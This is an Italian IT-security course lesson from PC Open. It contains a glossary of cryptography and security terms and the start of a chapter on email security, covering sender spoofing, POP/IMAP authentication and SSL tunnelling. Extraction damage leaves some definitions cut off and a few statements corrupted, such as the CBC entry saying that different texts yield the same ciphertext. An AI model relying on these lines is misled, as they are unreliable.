utenti di firmare una busta digitale, di cifrare una firma
digitale o di eseguire varie altre funzioni.
CBC (Cipher Block Chaining)
uno dei principali cifrari a blocchi. Utilizza il blocco di testo
cifrato precedente e lo combina in XOR (OR esclusivo,
unoperazione tra due bit che produce come risultato 1 se i
bit sono diversi o 0 se sono uguali) con il blocco
successivo di testo in chiaro prima della cifratura. Il primo
blocco combinato in XOR con un Vettore di
Inizializzazione (IV, Initialization Vector), scelto con forti
propriet
di pseudocasualit in modo che testi diversi producano lo
stesso testo cifrato.
primo blocco decifrato e combinato in XOR con il vettore
dinizializzazione.
CEN (Comitato Europeo di Normalizzazione,
www.cenorm.org)
un organismo europeo composto dagli enti di
standardizzazione dei paesi membri dellUnione Europea e
dellEFTA (European Fair Trade Association - tra cui lUNI
per lItalia).
CERT (Computer Emergency Response Team)
(squadra di intervento per le emergenze informatiche) ha la
missione di operare con la comunit di Internet per
facilitare la risposta agli eventi riguardanti la sicurezza
degli host (i computer collegati a Internet), prendere
iniziative per sensibilizzare la comunit sugli aspetti della
sicurezza e condurre ricerche rivolte a incrementare la
sicurezza dei sistemi esistenti.
CERT-CC
il primo CERT (www.cert.org) diventato il CERT
Coordination Center (CERT-CC) ed situato presso il
Software Engineering Institute, finanziato dal governo USA
e gestito dalla Carnegie Mellon University di Pittsburg. Si
focalizza sulle violazioni alla sicurezza, allerta sulle nuove
minacce, reagisce agli attacchi (i cosiddetti incidents) e
fornisce assistenza, informazioni sulla vulnerabilit dei
prodotti e istruzione con documenti e tutorial.
Certification Authority (CA)
la CA garantisce le chiavi pubbliche delle entit del proprio
dominio mediante lemissione dei certificati digitali in
formato standard, contenenti: 1) una serie dinformazioni,
tra cui il nome del titolare del certificato, la sua chiave
pubblica, il periodo di validit del certificato e altre
informazioni che concorrono a identificare il titolare e
lautorit che emette il certificato; 2) la firma digitale,
apposta alle suddette informazioni utilizzando la chiave
privata della CA.
Chiave
la sequenza segreta di bit che governa latto della cifratura
o della decifratura.
Chiave privata
una delle due chiavi usate nella crittografia asimmetrica. E
segreta e viene mantenuta in possesso del solo
proprietario.
Chiave pubblica
pubblicamente disponibile a chiunque voglia comunicare
con il suo proprietario.
Chiave segreta
la chiave usata nella crittografia simmetrica e comune sia
al mittente sia al destinatario. Deve essere mantenuta
segreta perch la sua conoscenza consente di decifrare
qualsiasi messaggio cifrato alla fonte.
Cifrare o cifratura
Cifrario a blocchi
opera sui dati un blocco alla volta (le dimensioni tipiche dei
blocchi sono di 64 o 128 bit) e ogni operazione su un
blocco unazione elementare.
Cifrario a flusso
opera invece un bit o un byte alla volta; una volta
PC Open www.pcopen.it G1
CMS (Cryptographic Message Syntax)
il formato con cui sono codificati i messaggi creati con
Cryptographic Message Syntax (CMS). Altre propriet del
formato CMS sono: 1) gestisce la firma congiunta di pi
firmatari, 2) gestisce la firma per un numero
arbitrario di destinatari, 3) consente di aggiungere attributi
firmati al messaggio, come la data e lora della firma, 4)
consente di allegare al messaggio i certificati dei firmatari,
agevolando la verifica della firma, 5) include gli
identificatori degli algoritmi crittografici utilizzati e gli
elementi che facilitano la decifratura e la verifica della
firma.
Common Criteria
criteri standard di valutazione di applicabilit globale che
allinea i criteri di valutazione esistenti ed emergenti:
TCSEC, ITSEC, il canadese CTCPEC (Canadian Trusted
Computer Product Evaluation Criteria) e i criteri federali
USA. Il progetto stato sviluppato attraverso la
collaborazione degli enti nazionali di standardizzazione di
Stati Uniti, Canada, Francia, Germania, Regno Unito e
Olanda. I benefici di questo sforzo comune comprendono
la riduzione della complessit del sistema di valutazione,
la disponibilit di un unico linguaggio per le definizioni e
per i livelli di sicurezza e, a beneficio dei produttori, luso di
un unico insieme di requisiti per vendere i prodotti sul
mercato internazionale.
le funzioni di sicurezza che verificano se il processo o
lutente, di cui stata autenticata lidentit, ha il diritto di
accedere alla risorsa richiesta.
Controllo del rischio
vengono individuate le modalit che lazienda intende
adottare per ridurre i rischi associati alla perdita della
disponibilit di informazioni e risorse informatiche e della
integrit e riservatezza di dati e informazioni.
Contromisure
le contromisure di sicurezza sono le realizzazioni e le azioni
volte ad annullare o limitare le vulnerabilit e a contrastare
le minacce.
Contromisure di carattere fisico
Queste contromisure sono generalmente legate alla
prevenzione e al controllo dellaccesso a installazioni,
locali, attrezzature, mezzi di comunicazione.
Contromisure di tipo procedurale
utenti per gli aspetti che riguardano la sicurezza delle
Contromisure di tipo tecnico informatico
sono le contromisure realizzate attraverso mezzi hardware,
di sicurezza.
Correttezza
un attributo intrinseco di un prodotto (o componente o
procedura), che riflette il grado di corrispondenza tra le
effettive funzioni svolte dal prodotto e le sue specifiche.
Criteri di valutazione della garanzia
sono i metodi con cui viene valutata la fiducia che pu
essere accordata ai
sistemi e ai prodotti informatici di sicurezza. Tra le
pubblicazioni disponibili, le tre pi significative sono i criteri
americani TCSEC (Trusted Computing Security Evaluation
Criteria, 1985), i criteri europei ITSEC (Information Security
Evaluation Criteria, 1991) e i criteri internazionali ISO/IEC
15408, noti come Common Criteria e pubblicati nel 1999.
Crittoanalisi
la pratica di ottenere il messaggio in chiaro dal messaggio
cifrato senza disporre della chiave o senza scoprire il
sistema di cifratura.
Crittografia
la scienza della scrittura nascosta (o segreta) che
permette di memorizzare e trasmettere dati in una forma
utilizzabile solo dagli individui a cui essi sono destinati.
la chiave di cifratura diversa da quella di decifratura.
Detta anche crittografia a chiave pubblica.
la chiave di cifratura la stessa usata per la decifratura, o
possono essere derivate facilmente una dallaltra. Detta
anche crittografia a chiave segreta.
Crittologia
Crittosistema
limplementazione hardware o software della crittografia,
che trasforma un messaggio in chiaro (plaintext) in un
messaggio cifrato (ciphertext) e poi di nuovo nel
messaggio in chiaro originario.
CSIRT (Computer Security Incident ResponseTeam)
squadre di intervento per gli incidenti di sicurezza
informatica coordinate dal CERT-Coordination Center.
Custode dei dati
ha la responsabilit della manutenzione e della protezione
dei dati.
Decifrare o decifratura
DES (Data Encryption Standard)
lalgoritmo di cifratura pi conosciuto ed stato il primo
di cui sono stati forniti
tutti i dettagli di implementazione. E stato incluso nella
maggioranza dei prodotti commerciali dotati di funzionalit
crittografiche ed stato usato dagli enti governativi. Per
oltre un decennio, DES stato considerato uno degli
algoritmi pi efficaci ed efficienti, finch la NSA smise di
supportarlo nel 1988, prevedendo la sua vulnerabilit a
fronte della crescita della potenza di calcolo dei computer.
Digest
vedi hash.
Disaster Recovery
nel contesto informatico, la capacit di uninfrastruttura
di riprendere le operazioni dopo un disastro.
Disponibilit
il grado in cui le informazioni e le risorse informatiche
sono accessibili agli utenti che ne hanno diritto, nel
momento in cui servono.
ECB (Electronic Code Book)
un dei principali cifrari a blocchi. Ogni blocco di testo in
chiaro viene trasformato in un blocco di testo cifrato. Lo
stesso blocco di testo, con la stessa chiave, produce
sempre lo stesso blocco di testo cifrato, il che consente ai
malintenzionati di compilare un codice (code book) di tutti i
possibili testi cifrati corrispondenti a un dato testo in
chiaro.
Efficacia
una propriet che mette in relazione la contromisura
(prodotto, procedura o altro) con il contesto in cui
utilizzata, in particolare le vulnerabilit, la gravit e la
probabilit di attuazione delle minacce.
ETSI (European Telecommunications Standards Institute)
unorganizzazione europea indipendente, riconosciuta dalla
Commissione Europea e dallEFTA. Ha sede a Sophia
Antipolis (Francia) ed responsabile per la
standardizzazione delle tecnologie informatiche e di
comunicazioni (ICT) in Europa.
Firma digitale
Una firma devessere difficile da falsificare, non ripudiabile
(non pu essere cancellata o disconosciuta), inalterabile
(dopo lapposizione della firma, non deve essere possibile
modificare il documento) e non trasferibile (da un
documento
a un altro). La firma digitale si basa sulla cifratura
asimmetrica di un hash o digest calcolato sul contenuto
del documento o messaggio.
FIRST (Forum for Incident Response and Security Teams)
struttura internazionale, il FIRST, che permette la rapida
condivisione delle informazioni utili a fronteggiare minacce
e attacchi.
Funzionalit
applicato alla sicurezza, conserva il significato generale
che ha in altri settori; linsieme di ci che un prodotto o
un sistema informatico fornisce in relazione alla protezione
delle informazioni e, di riflesso, delle risorse e dei servizi
informatici.
Funzioni di sicurezza
Vedi contromisure di tipo tecnico informatico.
Garanzia
concetto introdotto da chi si occupa di sicurezza per
esprimere il grado in cui limplementazione di una
funzionalit riduce una vulnerabilit o la possibilit di
attuazione di una minaccia.
nella gestione del rischio si possono individuare due fasi
distinte.1) Analisi del rischio. 2) Controllo del rischio.
Hash
un numero binario di lunghezza fissa, ricavato da un input
(file, messaggio, blocco di dati eccetera) di lunghezza
variabile, che funge da impronta del dato di partenza.
HMAC
Un tipo speciale di MAC specificato nella RFC 2104. HMAC
anchessa una funzione keyed hash, ma in realt
costituisce un keyed hash
IAB (Internet Architecture Board)
un gruppo tecnico consultivo della Internet Society,
responsabile della selezione dello IESG, della supervisione
dellarchitettura, della supervisione del processo di
standardizzazione e della procedura di appello, della serie
delle RFC (Request For Comment), dei collegamenti esterni
e di consiglio allISOC.
IANA (Internet Assigned Numbers Authority)
mantiene le funzioni di coordinamento centrale
dellInternet globale nel pubblico interesse. La IANA
custodisce i numerosi parametri e valori di protocollo unici
necessari per il funzionamento di Internet e per il suo
sviluppo futuro.
ICANN (Internet Corporation for Assigned Names and
Numbers)
azienda non-profit che fu creata per assumere la
responsabilit dellattribuzione degli spazi dindirizzamento
IP, dellassegnazione dei parametri dei protocolli, della
gestione del sistema dei domini e della gestione del
sistema dei server root, funzioni che in precedenza erano
eseguite, sotto contratto con il governo USA, dalla IANA e
da altre entit. lautorit per lassegnazione dei nomi di
dominio a livello globale.
Identificazione e autenticazione
Le funzioni di questa categoria servono a identificare un
individuo o un processo e ad autenticarne lidentit.
IESG (Internet Engineering task Group)
responsabile della gestione tecnica delle attivit dellIETF
e del processo di standardizzazione di Internet. Come
parte dellISOC, amministra tale processo secondo le
regole e le procedure che sono state ratificate dai fiduciari
dellISOC. Lo IESG direttamente responsabile delle azioni
associate allavvio e alla prosecuzione delliter di
standardizzazione, inclusa lapprovazione finale delle
specifiche come Standard Internet. Lo IESG coordina e
approva gli standard tecnici.
IETF (Internet Engineering Task Force)
una vasta comunit internazionale di progettisti, operatori,
produttori e ricercatori nel campo del networking,
interessati allevoluzione dellarchitettura di Internet e
allaffidabilit del suo funzionamento.
Impatto
la conseguenza dellattuazione di una minaccia.
Integrit
la fedele conservazione del contenuto originario di un
documento archiviato o trasmesso in rete, attestata da
strumenti che segnalano se il documento ha subito
alterazioni.
Internet Society ISOC
unorganizzazione privata senza fini di lucro che riunisce
professionisti nel mondo del networking e che ha la
missione di garantire il continuo funzionamento di Internet
e il suo potenziamento.
IRTF (Internet Research Task Force)
ha la missione di promuovere attivit di ricerca che
possano contribuire in modo significativo al futuro sviluppo
di Internet. Opera creando gruppi di ricerca focalizzati sui
seguenti temi: protocolli, applicazioni, architettura e
tecnologia.
ISO (International Organization for Standardization)
la maggiore organizzazione internazionale di
standardizzazione e comprende gli enti di
standardizzazione nazionali di 146 paesi (lUNI il membro
italiano).
ISO/IEC 17799
una serie di linee guida e di raccomandazioni compilata a
seguito di consultazioni con le grandi aziende. I 36 obiettivi
e le 127 verifiche di sicurezza contenuti nel documento
sono suddivisi in 10 aree, o domini, riportati nel riquadro
A, II dieci domini formano una piramide che scende dalla
prospettiva organizzativa (1, 2, 3, 4, 9, 10) verso quella
operativa (6, 7, 8), con inclusi gli aspetti tecnici (5).
ITSEC (Information
Security Evaluation Criteria)
il primo tentativo di stabilire un unico standard di
valutazione degli attributi di sicurezza da parte di molti
paesi europei.
ITU (International Telecommunication Union)
dove governi e settore privato coordinano le reti e i servizi
globali di telecomunicazioni. Ha sede a Ginevra e
(radiocomunicazioni) e ITU-D (sviluppo).
Keyed hashing
Far dipendere l'hash del messaggio da una chiave segreta.
Il keyed hashing viene usato nella crittografia simmetrica
per produrre i codici MAC utilizzati per autenticare i
messaggi e garantirne lintegrit.
Keyspace
(spazio delle chiavi) linsieme di tutti i possibili valori che
una chiave pu assumere.
MAC (Message Authentication Code)
un hash calcolato su un messaggio con laggiunta di una
chiave segreta condivisa, usato per verificare allaltro capo
della comunicazione lintegrit del messaggio.
MIME (Multipurpose Internet Mail Extensions)
lo standard che specifica come devono essere trasferiti i
dati multimediali e gli allegati di e-mail.
Minaccia
unazione potenziale, accidentale o deliberata, che pu
portare alla violazione di uno o pi obiettivi di sicurezza.
Non ripudio
impedisce che un evento o documento possa essere
disconosciuto dal suo autore.
Norme e linee guida
segnaliamo le linee guida ISO/IEC 13335 e le norme BS
(British Standard) 7799.
Norme funzionali
sono relative ai prodotti e hanno lo scopo principale di
ricercare linteroperabilit
dei prodotti informatici. Coprono argomenti quali i
protocolli di comunicazione, il formato dei dati (per
esempio in un certificato digitale o in una smartcard) e
cos via.
Obiettivi
gli obiettivi di sicurezza sono il grado di protezione che si
intende predisporre per i beni, in termini di disponibilit,
integrit e riservatezza.
PGP (Pretty Good Privacy)
un programma di sicurezza per la posta elettronica
realizzato da Phil Zimmermann e pubblicato inizialmente
nel 1991 come freeware. Le funzioni
di PGP sono: firma digitale, cifratura dei messaggi,
compressione, conversione in ASCII (in base 64) e
segmentazione dei messaggi; di queste, le prime due
rientrano nel contesto delle applicazioni crittografiche.
PKCS (Public
Key Cryptographic Standard)
comprende unintera serie di standard che hanno
lobiettivo di agevolare limplementazione delle tecnologie
PKI (per esempio, PKCS #1 descrive
lo standard di cifratura RSA). PKCS #7 specifica i formati
binari usati per la firma digitale e per la busta
elettronica. Lo standard
PKCS #7 stato adottato dallIETF nella RFC 2315,
aggiornata
dalla RFC 2630.
Politica di sicurezza
un documento sintetico in cui il management superiore,
o un comitato delegato allo scopo, delinea il ruolo della
sicurezza nellorganizzazione o in un suo aspetto
particolare.
Privacy
consiste nella salvaguardia dei dati privati degli utenti,
anche in conformit alla legge 196/2003 sulla protezione
dei dati personali.
Proprietario dei dati
un membro del management superiore, il massimo
responsabile della protezione delle informazioni e della
sicurezza in generale.
Recovery Point Objective (RPO)
il momento nel tempo a cui il sistema riportato.
Recovery Time Objective (RTO)
il lasso di tempo che intercorre prima di ripristinare
linfrastruttura.
Rendicontabilit (accountability)
le funzioni che permettono di attribuire la responsabilit
degli eventi agli individui che li hanno causati.
Rischio
Concettualmente, il rischio la possibilit che si verifichi
un evento dannoso ed tanto maggiore quanto forte
che esso si verifichi.
Riservatezza
consiste nel limitare laccesso alle informazioni e alle
risorse informatiche alle sole persone autorizzate e si
applica sia allarchiviazione sia alla comunicazione delle
informazioni.
Riutilizzo degli oggetti
le funzioni che permettono di riutilizzare oggetti contenenti
riscrivibili, aree di memoria RAM, zone di memoria dei
processori (registri, cache, ecc.), buffer di periferiche e
simili.
un protocollo che aggiunge la cifratura e la firma
elettronica ai messaggi MIME descritti nella RFC 1521
(Mechanisms for Specifying and Describing the Format of
Internet Message Bodies).
Scambio dati sicuro
le funzioni destinate a garantire la sicurezza delle
trasmissioni. Il modello OSI Security Architecture (ISO
7498-2) le classifica nelle seguenti sottoclassi:
autenticazione, controllo dellaccesso, riservatezza,
integrit (dellhardware, dei dati e dei flussi di pacchetti
trasmessi sia in modo connectionless, come UDP, sia
connection-oriented, come TCP, anche ai fini della corretta
sequenza dei pacchetti) e non ripudio.
Secure Shell (SSH)
un protocollo per realizzare un collegamento remoto sicuro
da un computer a un altro attraverso una rete insicura.
Supporta il login remoto sicuro, il trasferimento sicuro di
file e linoltro sicuro del traffico di tipo TCP/IP e X Window.
SSH in grado di autenticare, cifrare e comprimere i dati
trasmessi.
Secure Sockets Layer (SSL)
un protocollo per la protezione di un canale di
comunicazione attraverso una rete e funziona allo strato di
trasporto, tra i protocolli di trasporto e di applicazione.
Come altri protocolli di sicurezza di rete, SSL utilizza la
crittografia simmetrica e asimmetrica e le funzioni di hash
per fornire lautenticazione del server (e in opzione anche
del client), la cifratura dei messaggi e lintegrit dei dati.
Sicurezza attiva
le misure di sicurezza che proteggono le informazioni in
modo proattivo, in modo cio da anticipare e neutralizzare i
problemi futuri. Questo viene ottenuto
non solo impedendo agli estranei di accedere alle
informazioni (sicurezza passiva o difensiva), ma rendendo
le informazioni intrinsecamente sicure a livello applicativo,
proteggendone la riservatezza (confidentiality, chiamata
anche confidenzialit), lintegrit e lautenticit.
Sicurezza passiva
un approccio fondamentalmente difensivo o passivo, che
valuta quali rischi accettare, quali delegare a terzi e quali
controllare, riducendoli o azzerandoli.
TCSEC (Trusted Computing Security Evaluation
Criteria)
un sistema per valutare la funzionalit e garanzia di un
prodotto, usato soprattutto negli USA e descritto nel
cosiddetto Orange Book, un volume dalla copertina
arancione. Serve per valutare sistemi operativi,
applicazioni e prodotti di vario genere.
Testo cifrato (ciphertext)
Testo in chiaro (plaintext o cleartext)
TLS (Transport Layer Security)
un protocollo definito dallIETF nella RFC 2246, simile a
SSL, ma con differenze soprattutto negli algoritmi
crittografici utilizzati.
UNINFO
una libera associazione a carattere tecnico, con lo scopo di
promuovere e di partecipare allo sviluppo della normativa
nel settore delle tecniche informatiche. LUNINFO
associato allUNI, lente nazionale italiano di unificazione
(www.uni.com/it) e rappresenta lItalia presso CEN e ISO.
Verifica (audit)
le funzioni che registrano gli eventi in un file di logging, con
informazioni riguardo a errori e a violazioni di sicurezza.
Vulnerabilit
una vulnerabilit un punto debole del sistema
informatico (hardware, software e procedure) che, se
colpito o sfruttato da una minaccia, porta alla violazione di
qualche obiettivo di sicurezza.
Work factor (fattore di lavoro)
il tempo, lo sforzo e le risorse che si stimano necessari
per violare un crittosistema.
ITAdministrator - Sicurezza informatica Lezione 7D
L
a sicurezza dei servizi di posta elettronica presenta
due aspetti: 1. la protezione del contenuto dei mes-
saggi, ottenuta tipicamente con strumenti crittografi-
ci come S/MIME (Secure Multipurpose Internet Mail Exten-
sions) e PGP (Pretty Good Privacy).
Entrambi i metodi utilizzano la crittografia a chiave
pubblica, ma sono incompatibili; garantiscono l'origine, la
riservatezza e l'integrit del messaggio anche quando es-
so in transito.
Non proteggono tuttavia il trasferimento del messaggio
e quindi, in particolare, la disponibilit.
2. La protezione del trasferimento dei messaggi, che av-
viene con i protocolli SMTP (Simple Mail Transfer Proto-
col), POP (Post Office Protocol) e IMAP (Internet Message
Access Protocol). In tale categoria si pu includere anche
la gestione dello spam (messaggi e-mail inviati contro la
volont del destinatario).
PGP, utilizzato per lo pi in modo informale (senza cer-
tificati), solitamente incluso nelle distribuzioni Linux ed
installabile in Windows. S/MIME utilizza certificati rila-
sciati da una CA (Certification Authority) per firmare e/o ci-
frare i messaggi. Certificati per uso e-mail personale sono
disponibili gratuitamente, per esempio presso
Thawte.com.
Nei prossimi capitoli sono descritte alcune tecniche
per la protezione del trasferimento dei messaggi.
temi. In questa quarta puntata ci occupiamo della sicurezza dei
servizi di posta elettronica e di firewall, due temi fondamentali
per la difesa dagli attacchi
esterni. I contenuti sono
composti da tre elementi: un
articolo sulla rivista, un articolo
molto pi esteso in formato PDF
Materiale didattico
validato da AICA
IT Administrator
Modulo 5 -
IT Security
"AICA Licenziataria
programma EUCIP
of Informatic
validato copre
puntualmente e
integralmente gli
e necessari per il
conseguimento della
certificazione IT
Administrator IT
Security. Di
conseguenza AICA
del marchio EUCIP,
vigenti"
2.0 (curriculum
ufficiale AICA)
5.7.7 Sicurezza dei
servizi di posta
elettronica
Un certificato X.509
memorizzato in un token
per firmare l'e-mail
applicazioni
Lezione 7: parte A Sicurezza di rete Ethernet e TCP/IP
parte B Sicurezza in mobilit e on line
parte C Impedire accessi non autorizzati
parte D Posta elettronica e firewall
Lezione 8: Aspetti sociali e legali della sicurezza IT
In collaborazione
con:
Sicurezza di rete Posta elettronica e firewall
Proteggere la posta
e filtrare i pacchetti
Lezione 7D IT Administrator - Sicurezza informatica
Attacchi al servizio
di posta elettronica
I server di posta elettronica possono essere soggetti a
bug e avere punti deboli. Tuttavia, le debolezze specifiche
del servizio derivano principalmente dal fatto che i mes-
saggi e-mail possono essere ricevuti da chiunque e, nello
stesso tempo, il servizio offre scarsa protezione. Infatti, la
scelta tra autenticare o cifrare il messaggio con PGP o S/MI-
ME a discrezione del mittente. Il servizio di posta elet-
tronica la principale applicazione di Internet, e dimostra
il passaggio da un contesto di rete collaborativa a una rete
completamente aperta, che richiede grande attenzione per
la protezione delle proprie risorse. Fino alla prima met de-
gli anni '90, il servizio di posta elettronica era il modo prin-
cipale per scambiare dati e file in rete. Oggi, principalmen-
te a causa dello spam, i server di posta sono configurati in
modo molto pi restrittivo e non sono pi aperti all'inoltro
di un messaggio qualunque.
Affidabilit dell'intestazione
dei messaggi di posta
Il protocollo SMTP usato da Internet per l'invio e l'inol-
tro della posta elettronica (RFC 2821) nato senza alcun ti-
po di autenticazione. Ci abbastanza normale, dato che
si pu ricevere posta da qualsiasi sistema o indirizzo; un
ipotetico meccanismo di autenticazione dovrebbe essere
universale (per l'intera Internet), ed essere accettato da
tutti gli utenti (un miliardo).
Inoltre, SMTP stato concepito per una grande flessibi-
lit di utilizzo, in modo che i messaggi possano essere con-
segnati in pi passaggi attraverso server SMTP di ogni tipo.
Tale approccio giova alla robustezza del sistema; il rove-
scio della medaglia la grande facilit con cui si pu falsi-
ficare l'indirizzo del mittente per inviare messaggi non de-
siderati o illegali.
L'unica misura di sicurezza (relativa) prevista dal pro-
tocollo l'uso del campo Received: inserito nell'header (in-
testazione) del messaggio da ogni nodo attraverso cui es-
so passa. Tale campo ha generalmente la forma: Received:
from <mittente> by <mail server> with <informazioni tecni-
che> for <destinatario> <data>.
Mentre vari campi dell'header possono essere contraf-
fatti (e lo sono abitualmente nei messaggi spam), alcuni pa-
rametri dei campi Received contengono informazioni og-
gettive interessanti. Consideriamo l'esempio seguente di
spam, dove sono stati contraffati i campi From e Reply-To
per nascondere il vero mittente. Come spesso accade,
stato utilizzato come falso mittente un indirizzo riconduci-
bile al destinatario stesso del messaggio. I campi Received
sono inseriti dal basso in alto, ovvero il primo che si trova
l'ultimo che stato aggiunto (dal server che - ultimo del-
la catena - ha recapitato il messaggio a destinazione).
X-Apparently-To: ggsicrea@yahoo.it via 217.12.10.142;
Wed, 25 Jan 2006 10:43:43 -0800
X-Originating-IP: [66.135.197.24]
Authentication-Results: mta100.mail.mud.yahoo.com
from=ebay.it; domainkeys=neutral (no sig)
Received: from 66.135.197.24 (EHLO
mx33.sjc.ebay.com) (66.135.197.24)
by mta100.mail.mud.yahoo.com with SMTP; Wed,
25 Jan 2006 10:43:43 -0800
Received: from rc-v3conta008
(rc-v3conta008.smf.ebay.com [10.9.12.108])
by mx33.sjc.ebay.com (8.12.3/8.12.3) with ESMTP
id k0PIgw3V028673
for <ggsicrea@yahoo.it>; Wed, 25 Jan 2006 10:43:
42 -0800
Date: Wed, 25 Jan 2006 10:43:42 -0800
Message-ID:
<552310039.1138214622725.JavaMail.SYSTEM@
rc-v3conta008>
From: "Utente eBay: giorgio8008" <member@ebay.it>
Reply-To: UsaPulsanteGiallo@ebay.it
To: ggsicrea@yahoo.it
Subject: Messaggio dell'utente
Mime-Version: 1.0
Content-Type: multipart/alternative;
boundary=10278167.1138214622725.JavaMail.
SYSTEM.rc-v3conta008
X-eBay-MailTracker: 10183.445.101.0
Il secondo Received (il primo che stato inserito nel-
l'header) ci dice che il messaggio stato ricevuto su
mx33.sjc.ebay.com, proveniente da qualcuno che si pre-
sentato come rc-v3conta008 (nome che pu essere falso) e
che aveva indirizzo 10.9.12.108; il messaggio destinato a
ggsicrea@yahoo.it. Il server ESMTP (Extended SMTP, un
SMTP con estensioni di autenticazione).
Il server ESMTP vede che il dominio destinatario
yahoo.it e, interrogato il server DNS, scopre che il server di
posta a cui passare il messaggio mta100.mail.mud.
yahoo.com, a cui inoltra il messaggio. Il primo campo Re-
ceived conferma che il messaggio stato recapitato su
mta100.mail.mud.yahoo.com, proveniente da
mx33.sjc.ebay.com.
Lo spammer identificabile dalla rete di provenienza
(provider o azienda) e dall'indirizzo IP 10.9.12.108. A questo
punto, se si configura un reato, si pu sporgere denuncia e
la magistratura pu ottenere le informazioni per persegui-
re lo spammer. In ogni caso, vale la pena di informare il
provider che, se riceve parecchie segnalazioni, potrebbe
decidere di chiudere l'accesso a uno spammer recidivo.
L'intera e-mail, compresi i campi dell'intestazione, in-
viata dal client SMTP al server SMTP come testo del mes-
saggio, dove pu essere inserita qualsiasi informazione del
tutto arbitraria. Il primo campo Received mostra il server
che ha recapitato il messaggio; i precedenti Received per-
mettono di rintracciare la reale provenienza del messaggio
se sono presenti gli indirizzi IP e non sono stati falsificati.
Per leggere l'intera intestazione di un messaggio si uti-
lizzano le opzioni del programma di posta. Ad esempio, in
Outlook, basta un clic destro sul titolo del messaggio nel
pannello dei messaggi in arrivo e la selezione di Opzioni nel
menu che si apre.
In definitiva, le informazioni della testata non sono nor-
malmente mostrate agli utenti, che comunque non le sa-
prebbero interpretare senza apposita istruzione. Inoltre,
buona parte dell'header pu essere facilmente contraffat-
ta, anche con l'aggiunta di finti campi per confondere ulte-
riormente la situazione. Il campo Fromnon attendibile e
5.7.7.1. Essere
consci delle
possibilit di
contraffare il
mittente e altre
informazioni relative
a un messaggio di
posta elettronica
Accesso all'intestazione
di un messaggio in
Outlook
i campi Received, escluso l'ultimo (che pu essere falsifi-
cato dal mittente), contengono informazioni vere, salvo ec-
cezioni. L'autenticazione non supportata dai server
SMTP, e anche i server ESMTP, che tra le estensioni posso-
no includere alcune forme di autenticazione (in chiaro su
caratteri di 7 bit o tramite hash MD5), spesso supportano
solo l'autenticazione con password in chiaro.
Autenticazione username/
password nelle connessioni
POP e IMAP
POP3 e IMAP sono i due protocolli pi usati per prele-
vare la posta dal server, dove stata recapitata da SMTP.
POP3 comunica tramite testo in chiaro, e utilizza nome
utente e password per l'autenticazione. Il semplice POP3
trasmette anche le password in chiaro, ma sono disponibili
versioni avanzate, come APOP, che trasmettono l'hash MD5
della password.
IMAP, pur mantenendo una struttura di directory sul ser-
ver dove possono essere conservati i messaggi anche do-
po la lettura, ha in comune con POP3 l'autenticazione tra-
mite nome utente/password. La password pu essere in
chiaro o hashed con MD5. Il contenuto dei messaggi non
cifrato n con
POP3, che pri-
vilegia la sem-
plicit, n con
IMAP, ottimiz-
zato per la ve-
locit.
L'autenticazio-
ne prevista
normalmente
dai server POP
e IMAP si ap-
poggia all'au-
tenticazione di
sistema, quin-
di gli utenti
delle caselle
postali sono
definiti sul si-
stema o sul
dominio. L'autenticazione degli utenti e il controllo degli ac-
cessi sono sostanzialmente a carico del sistema operativo.
Per la maggior parte dei sistemi di categoria Unix suffi-
ciente attivare il servizio con una riga del file di configura-
zione inetd.conf (o di xinetd.conf, pi eventuali inclusioni
dalla directory xinetd.d) per autenticare automaticamente
gli utenti con nome/password.
Le distribuzioni Linux includono vari tipi di server POP
e IMAP, come Washington POP Server, Qpopper, Washing-
ton IMAP, Courier-IMAP e Cyrus IMAP.
Quando si configura Windows Server 2003 per il ruolo di
mail server, si dovrebbe impostare la richiesta di autenti-
cazione dei client di e-mail. Server e client possono essere
configurati per accettare solo hash di password, in modo
da impedirne l'intercettazione. In Windows Server 2003 il
servizio POP3 di Microsoft utilizza la Secure Password
Authentication (SPA) per la cifratura delle password tra
client e server. In un dominio, SPA integrata con Active Di-
rectory, che viene usata per autenticare gli utenti al logon
di accesso alla posta. In assenza di un dominio, SPA usa-
ta per l'autenticazione degli account locali del mail server.
L'uso di SPA per collegarsi al server deve essere attivato nei
client tramite l'apposita casella nel dialogo di definizione
degli account di Outlook.
Per altri sistemi, come Notes, Exchange, ecc., pu esse-
re necessario attivare esplicitamente i servizi POP3 e IMAP.
Protezione delle connessioni
con SSL
Anche quando vengono utilizzate le estensioni per l'au-
tenticazione tramite hash MD5 della password, i protocol-
li POP, IMAP e SMTP restano insicuri perch trasmettono i
messaggi in chiaro. Di conseguenza, si andato diffonden-
do l'uso di tunnel SSL (Secure Sockets Layer) per protegge-
re tali connessioni. Un tunnel SSL prevede la cifratura del-
la sessione dall'inizio alla fine e non permette, quindi, d'in-
tercettare n le credenziali di autenticazione, n il conte-
nuto del messaggio.
L'associazione tra porte e servizi la seguente:
1. TCP 995 per POP3 su SSL (POP3S),
2. TCP 993 per IMAP su SSL (IMAPS),
3. TCP 465 per SMTP su SSL (SMTPS).
La maggior parte dei client di posta elettronica suppor-
ta questi protocolli; non sempre, invece, essi sono sup-
portati dai server. Tra l'altro, questi protocolli non sono di
uso generalizzato a causa dell'intenso utilizzo del proces-
sore da parte delle funzioni crittografiche.
Quando necessario, si pu estendere le capacit del si-
stema ricorrendo a schede hardware crittografiche o si pu
ricorrere a un router SSL, capace di supportare anche de-
cine di migliaia di connessioni SSL simultanee (contro le
Impostazione
dell'autenticazione
sicura (SPA) in Outlook
Autenticazione ESMTP
con password in chiaro
in Outlook (Windows)
Autenticazione ESMTP
con password in chiaro
in Evolution (Linux)
5.7.7.2 Essere in
grado d'impostare
l'accesso ai servizi
mail POP/IMAP con
semplice
autenticazione
password
5.7.7.3. Essere in
grado dimpostare
mail POP/IMAP con
autenticazione cifrata
e certificato.
Impostazione del tipo di
autenticazione POP in
Evolution
centinaia di un computer).
Creazione di un tunnel SSL sul lato server
Uno strumento adatto ad aggiungere il supporto SSL su
server POP/IMAP/SMTP che non ne dispongano Stunnel,
utilizzabile sia su Windows sia su Unix, sul quale si basano
gli esempi di configurazione che seguono.
Stunnel permette di creare tunnel cifrati sfruttando il
protocollo SSLv3. Stunnel funziona con protocolli che uti-
lizzano solo TCP su una sola porta, come HTTP (TCP 80),
POP3 (TCP 110), IMAP (TCP 143) e SMTP (TCP 25), ma non
ad esempio con FTP, che utilizza TCP 21 pi un'altra porta
dinamica. Nella modalit server, Stunnel ascolta connes-
sioni cifrate su una porta TCP e le invia in chiaro a un'altra
porta. In modalit client, Stunnel ascolta connessioni in
chiaro su una porta TCP e le invia cifrate verso una porta
remota. Un client deve iniziare sempre la connessione al
